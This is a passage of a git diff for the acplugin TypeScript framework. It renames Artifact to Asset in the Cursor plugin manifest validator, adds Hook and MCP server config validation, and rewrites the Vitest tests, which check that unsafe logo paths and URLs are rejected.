reference.slice(2); /** 精确文件引用可直接判断。 */ if (!/[*?[\]{}]/u.test(relative)) - return artifacts.has(relative) || [...artifacts].some(artifact => artifact.startsWith(`${relative.replace(/\/+$/u, '')}/`)); + return assets.has(relative) || [...assets].some(asset => asset.startsWith(`${relative.replace(/\/+$/u, '')}/`)); /** Glob 引用只允许匹配第一个模式字符之前的静态目录前缀。 */ const patternIndex = relative.search(/[*?[\]{}]/u); /** 保留到最后一个完整目录边界,避免把文件名前缀误当目录。 */ const staticPrefix = relative.slice(0, patternIndex); - /** 实际参与 Artifact 前缀匹配的完整静态目录。 */ + /** 实际参与 Asset 前缀匹配的完整静态目录。 */ const directory = staticPrefix.slice(0, staticPrefix.lastIndexOf('/') + 1); - return directory.length > 0 && [...artifacts].some(artifact => artifact.startsWith(directory)); + return directory.length > 0 && [...assets].some(asset => asset.startsWith(directory)); } /** Cursor logo 中显式 URL scheme 的稳定识别规则。 */ @@ -112,9 +130,9 @@ function isSafeLogoUrl(value: string): boolean { * 校验 Cursor logo 的 Plugin 根相对路径分支。 * * @param value 不带 URL scheme 的 logo 候选。 - * @returns 安全路径对应的 Artifact lookup key;非法时返回 undefined。 + * @returns 安全路径对应的 Asset lookup key;非法时返回 undefined。 */ -function logoArtifactPath(value: string): string | undefined { +function logoAssetPath(value: string): string | undefined { if (value === '' || value.includes('\0') || value.includes('\\') @@ -123,25 +141,25 @@ function logoArtifactPath(value: string): string | undefined { || value.split('/').includes('..')) { return undefined; } - /** Cursor 接受可选 `./`,Artifact Registry 使用无前缀 POSIX 路径。 */ + /** Cursor 接受可选 `./`,Package Asset 路径使用无前缀 POSIX 形式。 */ const normalized = path.posix.normalize(value).replace(/^\.\//u, ''); return normalized === '.' || normalized.startsWith('../') ? undefined : normalized; } /** - * 按互斥 URL/Artifact 分支校验 Cursor logo。 + * 按互斥 URL/Asset 分支校验 Cursor logo。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前候选交付单元的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前候选 Package 的 Asset 路径集合。 * @param value Manifest logo 字段候选。 */ function validateLogo( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, value: JsonValue, ): void { if (typeof value !== 'string') { - report(context, 'CURSOR_LOGO_PATH_INVALID', 'logo must be an HTTPS URL or a safe Plugin-root Artifact path.', ['logo']); + report(context, 'CURSOR_LOGO_PATH_INVALID', 'logo must be an HTTPS URL or a safe Plugin-root Asset path.', ['logo']); return; } /** 本机绝对路径优先归入相对路径边界,避免盘符被误判成 URL scheme。 */ @@ -154,32 +172,136 @@ function validateLogo( report(context, 'CURSOR_LOGO_URL_INVALID', 'logo URL must be an absolute HTTPS URL without credentials.', ['logo']); return; } - /** 不带 scheme 的输入只能引用当前候选中实际存在的 Artifact。 */ - const artifactPath = logoArtifactPath(value); - if (artifactPath === undefined) + /** 不带 scheme 的输入只能引用当前候选中实际存在的 Asset。 */ + const assetPath = logoAssetPath(value); + if (assetPath === undefined) report(context, 'CURSOR_LOGO_PATH_INVALID', 'logo path must be a safe POSIX path relative to the Plugin root.', ['logo']); - else if (!artifacts.has(artifactPath)) - report(context, 'CURSOR_LOGO_ARTIFACT_MISSING', 'logo path must reference a generated Plugin Artifact.', ['logo']); + else if (!assets.has(assetPath)) + report(context, 'CURSOR_LOGO_ASSET_MISSING', 'logo path must reference a generated Plugin Asset.', ['logo']); } /** * 校验 Cursor Manifest 路径字段的安全性和存在性。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Asset 路径集合。 * @param field Manifest 字段名。 * @param value 待验证字段值。 */ function validateReference( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, field: string, value: JsonValue, ): void { if (typeof value !== 'string' || !isSafeReference(value)) { report(context, 'CURSOR_MANIFEST_REFERENCE_INVALID', `${field} must be a safe Plugin-root path or glob.`, [field]); - } else if (!referenceExists(artifacts, value)) { - report(context, 'CURSOR_MANIFEST_REFERENCE_MISSING', `${field} references no generated Plugin Artifact.`, [field]); + } else if (!referenceExists(assets, value)) { + report(context, 'CURSOR_MANIFEST_REFERENCE_MISSING', `${field} references no generated Plugin Asset.`, [field]); + } +} + +/** 校验 Cursor version 1 Hook 配置的完整事件/命令结构。 */ +function validateHookConfig(context: PlatformValidateContext, value: JsonValue, fieldPath: readonly (string | number)[]): void { + if (!isRecord(value)) { + report(context, 'CURSOR_HOOK_CONFIG_INVALID', 'Cursor Hook config must be a JSON object.', fieldPath); + return; + } + for (const field of Object.keys(value)) { + if (!HOOK_CONFIG_FIELDS.has(field)) + report(context, 'CURSOR_HOOK_CONFIG_FIELD_UNKNOWN', `Unknown Cursor Hook config field "${field}".`, [...fieldPath, field]); + } + if (value.version !== 1) + report(context, 'CURSOR_HOOK_VERSION_INVALID', 'Cursor Hook config version must be 1.', [...fieldPath, 'version']); + if (!isRecord(value.hooks)) { + report(context, 'CURSOR_HOOK_EVENTS_INVALID', 'Cursor Hook config must contain an event mapping.', [...fieldPath, 'hooks']); + return; + } + for (const [event, handlers] of Object.entries(value.hooks)) { + /** 当前事件在最终 Hook 配置中的字段路径。 */ + const eventPath = [...fieldPath, 'hooks', event]; + if (!HOOK_EVENTS.has(event)) { + report(context, 'CURSOR_HOOK_EVENT_UNKNOWN', `Unknown Cursor Hook event "${event}".`, eventPath); + continue; + } + if (!Array.isArray(handlers) || handlers.length === 0) { + report(context, 'CURSOR_HOOK_HANDLERS_INVALID', 'Each Cursor Hook event must contain command handlers.', eventPath); + continue; + } + for (const [index, handler] of handlers.entries()) { + /** 单个 command Handler 的最终字段路径。 */ + const handlerPath = [...eventPath, index]; + if (!isRecord(handler)) { + report(context, 'CURSOR_HOOK_HANDLER_INVALID', 'Cursor Hook handlers must be objects.', handlerPath); + continue; + } + for (const field of Object.keys(handler)) { + if (field !== 'command') + report(context, 'CURSOR_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Cursor Hook handler field "${field}".`, [...handlerPath, field]); + } + if (typeof handler.command !== 'string' || handler.command.trim().length === 0) + report(context, 'CURSOR_HOOK_COMMAND_INVALID', 'Cursor Hook command must be a non-empty string.', [...handlerPath, 'command']); + } + } +} + +/** 校验 Cursor remote-only MCP Server 映射。 */ +function validateMcpServers(context: PlatformValidateContext, value: JsonValue, fieldPath: readonly (string | number)[]): void { + if (!isRecord(value)) { + report(context, 'CURSOR_MCP_SERVERS_INVALID', 'Cursor mcpServers must contain a Server object mapping.', fieldPath); + return; + } + for (const [id, candidate] of Object.entries(value)) { + /** 当前 Server 在最终配置中的字段路径。 */ + const serverPath = [...fieldPath, id]; + if (!MCP_SERVER_ID_PATTERN.test(id) || !isRecord(candidate)) { + report(context, 'CURSOR_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); + continue; + } + for (const field of Object.keys(candidate)) { + if (!MCP_SERVER_FIELDS.has(field)) + report(context, 'CURSOR_MCP_FIELD_UNKNOWN', `Unknown Cursor MCP field "${field}".`, [...serverPath, field]); + } + if (typeof candidate.url !== 'string') { + report(context, 'CURSOR_MCP_URL_INVALID', 'Cursor MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } else { + try { + /** Cursor remote MCP 不接受 URL 内联凭据。 */ + const url = new URL(candidate.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('unsafe'); + } catch { + report(context, 'CURSOR_MCP_URL_INVALID', 'Cursor MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } + } + if (candidate.headers !== undefined + && (!isRecord(candidate.headers) + || Object.entries(candidate.headers).some(([key, header]) => key.trim().length === 0 || typeof header !== 'string'))) { + report(context, 'CURSOR_MCP_HEADERS_INVALID', 'Cursor MCP headers must map non-empty names to string values.', [...serverPath, 'headers']); + } + } +} + +/** 读取并校验 Cursor Extension 字段引用的最终 JSON 配置。 */ +async function validateExtensionFile( + context: PlatformValidateContext, + reference: string, + field: 'hooks' | 'mcpServers', +): Promise { + try { + /** Extension 配置引用相对于 Plugin candidate 根解析。 */ + const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, reference.slice(2)), 'utf8')); + if (field === 'hooks') { + validateHookConfig(context, value as JsonValue, [field]); + return; + } + if (!isRecord(value) || Object.keys(value).some(key => key !== 'mcpServers') || value.mcpServers === undefined) { + report(context, 'CURSOR_MCP_CONFIG_INVALID', 'Cursor MCP config must contain only mcpServers.', [field]); + return; + } + validateMcpServers(context, value.mcpServers, [field, 'mcpServers']); + } catch { + report(context, 'CURSOR_EXTENSION_CONFIG_READ_FAILED', `${field} reference must contain valid JSON.`, [field]); } } @@ -188,9 +310,9 @@ function validateReference( * * @param context Platform 提供的已物化候选交付单元。 */ -export async function validateCursorBundle(context: PlatformValidateContext): Promise { - /** 当前候选交付单元的规范 Artifact 路径集合。 */ - const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); +export async function validateCursorPackage(context: PlatformValidateContext): Promise { + /** 当前候选 Package 的规范 Asset 路径集合。 */ + const assets = new Set(context.candidate.unit.assets.map(asset => asset.path)); /** 从候选根加载且仍需 Schema 校验的 Manifest。 */ let manifest: JsonRecord; try { @@ -226,17 +348,24 @@ export async function validateCursorBundle(context: PlatformValidateContext): Pr report(context, 'CURSOR_MANIFEST_AUTHOR_FIELD_UNKNOWN', 'author accepts only name and email.', ['author']); } if (manifest.logo !== undefined) - validateLogo(context, artifacts, manifest.logo); + validateLogo(context, assets, manifest.logo); /** field 表示当前 acplugin 可能生成的 Component Glob。 */ for (const field of ['commands', 'skills', 'agents'] as const) { if (manifest[field] !== undefined) - validateReference(context, artifacts, field, manifest[field]); + validateReference(context, assets, field, manifest[field]); } /** field 表示当前 Extension 贡献的固定配置文件引用。 */ for (const field of ['hooks', 'mcpServers'] as const) { - if (typeof manifest[field] === 'string') - validateReference(context, artifacts, field, manifest[field]); - else if (manifest[field] !== undefined && !isRecord(manifest[field])) + if (typeof manifest[field] === 'string') { + validateReference(context, assets, field, manifest[field]); + if (isSafeReference(manifest[field]) && referenceExists(assets, manifest[field])) + await validateExtensionFile(context, manifest[field], field); + } else if (manifest[field] !== undefined && !isRecord(manifest[field])) { report(context, 'CURSOR_EXTENSION_REFERENCE_INVALID', `${field} must be a path or inline object.`, [field]); + } else if (field === 'hooks' && manifest[field] !== undefined) { + validateHookConfig(context, manifest[field], [field]); + } else if (manifest[field] !== undefined) { + validateMcpServers(context, manifest[field], [field]); + } } } diff --git a/packages/platforms/cursor/test/platform.test.ts b/packages/platforms/cursor/test/platform.test.ts index 333128e..f9d93ac 100644 --- a/packages/platforms/cursor/test/platform.test.ts +++ b/packages/platforms/cursor/test/platform.test.ts @@ -3,8 +3,17 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { + defineExtension, + type AcpluginExtension, + type JsonValue, +} from '@acplugin/core'; +import { + resolveKernelConfig, + runKernelBuildSession, +} from '@acplugin/core'; import { cursor } from '../src/index.js'; +import { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; @@ -12,7 +21,7 @@ const temporaryRoots: string[] = []; /** Cursor 官方 Schema 与 Manifest Golden 的固定目录。 */ const goldenRoot = path.join(import.meta.dirname, 'golden'); -/** 2026-08-08 重新核验的 Cursor 官方 Schema 内容摘要。 */ +/** 2026-08-13 从 Cursor 官方仓库重新核验的 Schema 内容摘要。 */ const CURSOR_SCHEMA_SHA256 = 'a393b758901803fcf5cfe0d77bda8a83e987d32c3377dfce2d9edf445af884ed'; /** Cursor 官方 Schema 的固定上游来源。 */ @@ -34,20 +43,30 @@ async function createProject(): Promise { const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-cursor-platform-')); temporaryRoots.push(root); await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); await fs.writeFile(path.join(root, 'src/commands/release.md'), '---\ndescription: Prepare a release.\n---\nPrepare release {{arguments}}.\n'); await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review code.\nmodel: inherit\ncapabilities:\n - filesystem:read\n - search\n---\nReview code.\n'); await fs.writeFile(path.join(root, 'public/assets/logo.svg'), '\n'); return root; } -/** 解析仅包含 Cursor Platform 的严格测试配置。 */ -function resolvedConfig(root: string, logo = './assets/logo.svg'): ResolvedConfig { - /** 使用完整统一元数据和全部 Cursor 平台选项的解析结果。 */ - const result = resolveConfig({ +/** 执行只包含 Cursor 的真实 Kernel v2 BuildSession。 */ +async function run(input: { + readonly root: string; + readonly platform?: ReturnType; + readonly extensions?: readonly AcpluginExtension[]; + readonly command?: 'validate' | 'inspect' | 'build'; + readonly commit?: boolean; +}) { + /** command 决定生命周期语义,commit 只允许 build 使用。 */ + const command = input.command ?? 'build'; + /** config 覆盖 Cursor 官方 Schema 支持的统一和平台专属字段。 */ + const resolved = resolveKernelConfig({ name: 'release-tools', version: '1.2.3', description: 'Release workflow tools.', @@ -57,16 +76,26 @@ function resolvedConfig(root: string, logo = './assets/logo.svg'): ResolvedConfi repository: 'https://github.com/TokenRollAI/release-tools', license: 'MIT', keywords: ['release', 'review'], - platforms: [cursor({ + platforms: [input.platform ?? cursor({ publisher: 'TokenRoll', - logo, + logo: './assets/logo.svg', category: 'Developer Tools', tags: ['release', 'automation'], minClientVersions: { cursor: '1.2.3' }, })], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - expect(result.diagnostics).toEqual([]); - return result.config!; + extensions: input.extensions ?? [], + }, { + projectRoot: input.root, + configFile: path.join(input.root, 'acplugin.config.ts'), + command, + mode: 'production', + }); + expect(resolved.diagnostics).toEqual([]); + return (await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: command === 'build' && (input.commit ?? true), + })).report; } /** 用冻结 Schema 的根字段约束校验生成 Manifest。 */ @@ -80,78 +109,228 @@ function expectSchemaCompatible(manifest: Record, schema: Curso expect(String(manifest.name)).toMatch(new RegExp(namePattern!)); } +/** 创建向 Cursor 声明点 add-only 贡献配置和 Asset 的测试 Extension。 */ +function contribution(input: { + readonly id: string; + readonly field: 'hooks' | 'mcpServers'; + readonly value: JsonValue; + readonly path: string; + readonly bytes: string; +}): AcpluginExtension { + return defineExtension({ + id: input.id, + apiVersion: '1', + resourceRoots: [], + /** 每轮创建无共享可变状态的测试 Session。 */ + createSession: () => ({ + /** 非 undefined 空对象表示当前 Fixture 已发现。 */ + discover: () => ({}), + /** capability 声明要求 Contributor 完整覆盖。 */ + validate: (_context, state) => ({ + state, + subjects: [{ subject: `fixture:${input.id}`, capabilities: ['delivery'] }], + }), + /** bytes 只通过 Extension owner-scoped Asset Service 签发。 */ + build: async ({ assets }, state) => ({ + state: { + state, + asset: await assets.fromBytes({ + bytes: input.bytes, + origin: { operation: 'cursor-fixture', subjects: [`fixture:${input.id}`] }, + }), + }, + }), + contributors: [{ + platform: 'cursor', + platformApiVersion: '1', + /** Contributor 只填写声明点、追加自己的 Asset 并报告自己的 tuple。 */ + contribute: (_context, built) => ({ + documentFields: [{ document: 'plugin-manifest', path: [input.field], value: input.value }], + assets: [{ path: input.path, asset: built.asset }], + compatibility: [{ + subject: `fixture:${input.id}`, + capability: 'delivery', + level: 'native', + reason: 'The fixture is delivered through the Cursor Package contribution contract.', + }], + }), + }], + }), + }); +} + afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('Cursor Platform', () => { - it('matches the pinned official Schema root contract and the manifest golden', async () => { - /** 包含三类 Component 和 Public 资源的规范工程。 */ +describe('Cursor Platform Package API', () => { + it('builds native Components, Public, metadata and the pinned official manifest golden', async () => { + /** root 包含三类原生 Component 和清单引用的 Public logo。 */ const root = await createProject(); - /** 完成临时校验和事务提交的 Platform 构建结果。 */ - const result = await executeLifecycle({ - config: resolvedConfig(root), - /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); + /** report 来自真实 Package lifecycle、候选校验和事务。 */ + const report = await run({ root }); /** Cursor 官方 Schema 的冻结原始字节。 */ const schemaBytes = await fs.readFile(path.join(goldenRoot, 'plugin.schema.json')); /** 从冻结 Fixture 解析出的官方 Schema。 */ const schema = JSON.parse(schemaBytes.toString('utf8')) as CursorSchemaFixture; - /** Cursor 构建产生的规范 Manifest 路径。 */ - const manifestPath = path.join(root, 'dist/cursor/plugin/.cursor-plugin/plugin.json'); - /** 完成 Platform 校验后的 Manifest 对象。 */ - const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8')) as Record; + /** output 是 Cursor 主 Plugin 根。 */ + const output = path.join(root, 'dist/cursor/plugin'); + /** manifest 是 Core JSON codec 生成并通过最终 validator 的对象。 */ + const manifest = JSON.parse(await fs.readFile(path.join(output, PLUGIN_MANIFEST_PATH), 'utf8')) as Record; - expect(result.success).toBe(true); + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.committed).toBe(true); + expect(report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'command:release', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'skill:review', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'agent:reviewer', capability: 'component', level: 'native' }), + ])); expect(createHash('sha256').update(schemaBytes).digest('hex')).toBe(CURSOR_SCHEMA_SHA256); expect(CURSOR_SCHEMA_SOURCE).toContain('cursor/plugins'); expectSchemaCompatible(manifest, schema); - expect(await fs.readFile(manifestPath)).toEqual(await fs.readFile(path.join(goldenRoot, '.cursor-plugin/plugin.json'))); + await expect(fs.readFile(path.join(output, PLUGIN_MANIFEST_PATH))).resolves.toEqual( + await fs.readFile(path.join(goldenRoot, PLUGIN_MANIFEST_PATH)), + ); + await expect(fs.readFile(path.join(output, 'commands/release.md'), 'utf8')).resolves.toContain('$ARGUMENTS'); + await expect(fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).resolves.toBe('Review checklist.\n'); + await expect(fs.readFile(path.join(output, 'agents/reviewer.md'), 'utf8')).resolves.toContain('readonly: true'); }); - it('rejects unowned Platform options at the public factory boundary', () => { - expect(() => cursor({ experimental: true } as never)).toThrow('Unknown Cursor Platform option'); + it('reports unsupported Runtime without generating fake assets', async () => { + /** Cursor 没有稳定 Plugin-local Node 契约,Runtime 只能显式 unsupported。 */ + const root = await createProject(); + await fs.mkdir(path.join(root, 'src/runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/runtime/cli.ts'), 'import "missing-runtime-package";\n'); + /** relaxed 只接受已报告的 capability 差异,不改变结构校验。 */ + const report = await run({ root, platform: cursor({ strict: false }) }); + + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.runtimes).toEqual([{ + id: 'cli', kind: 'executable', location: { path: 'src/runtime/cli.ts' }, built: false, + }]); + expect(report.compatibility).toContainEqual(expect.objectContaining({ + platform: 'cursor', subject: 'runtime:cli', capability: 'node20-esm', level: 'unsupported', + })); + expect(report.packages.flatMap(unit => unit.assets).some(asset => asset.path.startsWith('runtime/'))).toBe(false); + await expect(fs.access(path.join(root, 'dist/cursor/plugin/runtime'))).rejects.toThrow(); }); - it('accepts an absolute credential-free HTTPS logo URL', async () => { - /** 远端 HTTPS logo 不需要候选交付单元包含同名 Artifact。 */ - const root = await createProject(); - /** 使用远端 logo 完成候选校验的构建结果。 */ - const result = await executeLifecycle({ - config: resolvedConfig(root, 'https://cdn.example.com/plugin/logo.svg'), - /** 纯静态 Cursor Fixture 不加载作者 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, + it('accepts Hooks/MCP add-only contributions and rejects duplicate point occupation', async () => { + /** validRoot 验证两个独立声明点及最终引用闭包。 */ + const validRoot = await createProject(); + /** hooks 引用一个 Cursor 配置文件。 */ + const hooks = contribution({ + id: 'hooks-fixture', field: 'hooks', value: './hooks/hooks.json', + path: 'hooks/hooks.json', bytes: '{"version":1,"hooks":{}}\n', }); + /** mcpServers 引用一个独立配置文件。 */ + const mcp = contribution({ + id: 'mcp-fixture', field: 'mcpServers', value: './mcp.json', + path: 'mcp.json', bytes: '{"mcpServers":{}}\n', + }); + /** valid 必须在集中合并后通过最终候选 validator。 */ + const valid = await run({ root: validRoot, extensions: [hooks, mcp] }); + /** manifest 精确观察 Core 合并后的两个字段。 */ + const manifest = JSON.parse(await fs.readFile(path.join(validRoot, 'dist/cursor/plugin', PLUGIN_MANIFEST_PATH), 'utf8')); + expect(valid.success, JSON.stringify(valid.diagnostics, null, 2)).toBe(true); + expect(manifest).toMatchObject({ hooks: './hooks/hooks.json', mcpServers: './mcp.json' }); - expect(result.success).toBe(true); - expect(result.diagnostics.some(diagnostic => diagnostic.code.startsWith('CURSOR_LOGO_'))).toBe(false); + /** collisionRoot 隔离两个 Extension 同时占用 hooks 声明点。 */ + const collisionRoot = await createProject(); + /** secondHooks 使用不同 Asset 但占用完全相同的 Document path。 */ + const secondHooks = contribution({ + id: 'second-hooks', field: 'hooks', value: './hooks/second.json', + path: 'hooks/second.json', bytes: '{"version":1,"hooks":{}}\n', + }); + /** collision 必须由 Core merge 拒绝而不是依赖 Extension 执行顺序。 */ + const collision = await run({ + root: collisionRoot, + command: 'validate', + extensions: [hooks, secondHooks], + commit: false, + }); + expect(collision.success).toBe(false); + expect(collision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PLATFORM_CONTRIBUTION_FAILED', platform: 'cursor', phase: 'contribute', + })); }); - it.each([ - ['file URL', 'file:///tmp/logo.svg', 'CURSOR_LOGO_URL_INVALID'], - ['data URL', 'data:image/svg+xml;base64,PHN2Zy8+', 'CURSOR_LOGO_URL_INVALID'], - ['credential URL', 'https://user:secret@example.com/logo.svg', 'CURSOR_LOGO_URL_INVALID'], - ['incomplete URL', 'https://', 'CURSOR_LOGO_URL_INVALID'], - ['POSIX absolute path', '/tmp/logo.svg', 'CURSOR_LOGO_PATH_INVALID'], - ['Win32 absolute path', 'C:\\temp\\logo.svg', 'CURSOR_LOGO_PATH_INVALID'], - ['backslash path', 'assets\\logo.svg', 'CURSOR_LOGO_PATH_INVALID'], - ['parent traversal', '../../logo.svg', 'CURSOR_LOGO_PATH_INVALID'], - ['missing Artifact', './assets/missing.svg', 'CURSOR_LOGO_ARTIFACT_MISSING'], - ])('rejects an unsafe or missing %s', async (_label, logo, code) => { - /** 每个不可信 logo 候选使用独立工程验证稳定诊断。 */ + it('rejects malformed merged extension data at the final candidate boundary', async () => { + /** root 包含合法 base Package,错误只来自贡献后的最终 wire data。 */ const root = await createProject(); - /** 当前不可信 logo 对应的生命周期失败结果。 */ - const result = await executeLifecycle({ - config: resolvedConfig(root, logo), - /** 纯静态 Cursor Fixture 不加载作者 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, + /** malformed 将 hooks 填成官方 Schema 不接受的布尔值。 */ + const malformed = contribution({ + id: 'malformed-hooks', field: 'hooks', value: false, + path: 'hooks/unused.json', bytes: '{}\n', + }); + /** report 应保留 Cursor validator 的稳定诊断。 */ + const report = await run({ root, command: 'validate', extensions: [malformed], commit: false }); + + expect(report.success).toBe(false); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CURSOR_EXTENSION_REFERENCE_INVALID', platform: 'cursor', phase: 'platform-validate', + })); + + /** mcpRoot 验证合法 sidecar 容器中的嵌套 Server 字段。 */ + const mcpRoot = await createProject(); + /** invalidMcp 的 headers 不是 Cursor 协议要求的字符串映射。 */ + const invalidMcp = contribution({ + id: 'invalid-mcp', field: 'mcpServers', value: './mcp.json', path: 'mcp.json', + bytes: '{"mcpServers":{"docs":{"url":"https://example.com/mcp","headers":42}}}\n', + }); + /** mcpReport 必须由最终 Candidate validator 而不是 Contributor 自校验拒绝。 */ + const mcpReport = await run({ root: mcpRoot, command: 'validate', extensions: [invalidMcp], commit: false }); + expect(mcpReport.success).toBe(false); + expect(mcpReport.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CURSOR_MCP_HEADERS_INVALID', platform: 'cursor', phase: 'platform-validate', + })); + }); + + it('validates factory options, Component fields and HTTPS/local logo boundaries', async () => { + expect(() => cursor({ experimental: true } as never)).toThrow('Unknown Cursor Platform option'); + expect(() => cursor({ tags: ['duplicate', 'duplicate'] })).toThrow('unique'); + expect(() => cursor({ minClientVersions: { cursor: 'latest' } })).toThrow('semantic versions'); + + /** componentRoot 的 raw Cursor namespace 必须在 Asset 创建前失败。 */ + const componentRoot = await createProject(); + await fs.writeFile(path.join(componentRoot, 'src/commands/release.md'), `--- +description: Invalid platform field. +platforms: + cursor: + raw: true +--- +Do not build. +`); + /** componentReport 保留 canonical field path。 */ + const componentReport = await run({ root: componentRoot, command: 'validate', commit: false }); + expect(componentReport.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CURSOR_COMPONENT_FIELD_UNKNOWN', fieldPath: ['platforms', 'cursor', 'raw'], + })); + + /** httpsRoot 的无凭据 HTTPS logo 不要求候选中存在同名 Asset。 */ + const httpsRoot = await createProject(); + /** httpsReport 验证 URL 与本地引用是互斥分支。 */ + const httpsReport = await run({ + root: httpsRoot, + platform: cursor({ logo: 'https://cdn.example.com/plugin/logo.svg' }), }); + expect(httpsReport.success, JSON.stringify(httpsReport.diagnostics, null, 2)).toBe(true); - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code, platform: 'cursor', fieldPath: ['logo'] })); + /** unsafe logo 候选必须各自得到稳定诊断而不是读取宿主路径。 */ + const fixtures = [ + ['file:///tmp/logo.svg', 'CURSOR_LOGO_URL_INVALID'], + ['https://user:secret@example.com/logo.svg', 'CURSOR_LOGO_URL_INVALID'], + ['/tmp/logo.svg', 'CURSOR_LOGO_PATH_INVALID'], + ['C:\\temp\\logo.svg', 'CURSOR_LOGO_PATH_INVALID'], + ['../../logo.svg', 'CURSOR_LOGO_PATH_INVALID'], + ['./assets/missing.svg', 'CURSOR_LOGO_ASSET_MISSING'], + ] as const; + for (const [logo, code] of fixtures) { + /** 当前 logo 使用独立工程,避免失败事务互相影响。 */ + const root = await createProject(); + /** report 必须在最终候选边界拒绝不可信引用。 */ + const report = await run({ root, command: 'validate', platform: cursor({ logo }), commit: false }); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ code, platform: 'cursor', fieldPath: ['logo'] })); + } }); }); diff --git a/packages/platforms/cursor/vitest.config.ts b/packages/platforms/cursor/vitest.config.ts index f3691f1..f795a78 100644 --- a/packages/platforms/cursor/vitest.config.ts +++ b/packages/platforms/cursor/vitest.config.ts @@ -4,9 +4,19 @@ import { defineConfig } from 'vitest/config'; /** Cursor 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ export default defineConfig({ resolve: { - alias: { - '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), - '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), - }, + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@tokenroll\/acplugin$/, + replacement: fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], }, }); diff --git a/packages/platforms/opencode/package.json b/packages/platforms/opencode/package.json index a471ec7..a7a14ca 100644 --- a/packages/platforms/opencode/package.json +++ b/packages/platforms/opencode/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin-platform-opencode", - "version": "0.0.1-beta", - "description": "OpenCode Platform adapter for acplugin.", + "version": "0.0.2-beta", + "description": "OpenCode Platform integration for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#opencode-platform", diff --git a/packages/platforms/opencode/src/components.ts b/packages/platforms/opencode/src/components.ts index 2ab2b77..f04d4e4 100644 --- a/packages/platforms/opencode/src/components.ts +++ b/packages/platforms/opencode/src/components.ts @@ -1,27 +1,32 @@ import { - bytesArtifact, markdownWithFrontmatter, type AgentCapability, - type ArtifactInput, + type AssetService, + type CanonicalProject, + type CompatibilityInput, + type PackageAssetInput, type PlatformComponentValidationContext, - type PlatformGenerateContext, -} from '@tokenroll/acplugin'; +} from '@tokenroll/acplugin/sdk'; -/** OpenCode 1.0 暂不开放未经独立 Schema 验证的 Component 专属字段。 */ +/** OpenCode 当前不开放未经独立 Schema 验证的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); /** OpenCode Agent 可以通过 tools/permission 控制的稳定工具名称。 */ const OPENCODE_TOOLS = ['read', 'glob', 'grep', 'edit', 'bash', 'webfetch', 'task'] as const; -/** - * 校验 OpenCode Component 专属字段,阻止任意 Frontmatter 透传。 - * - * @param context Core 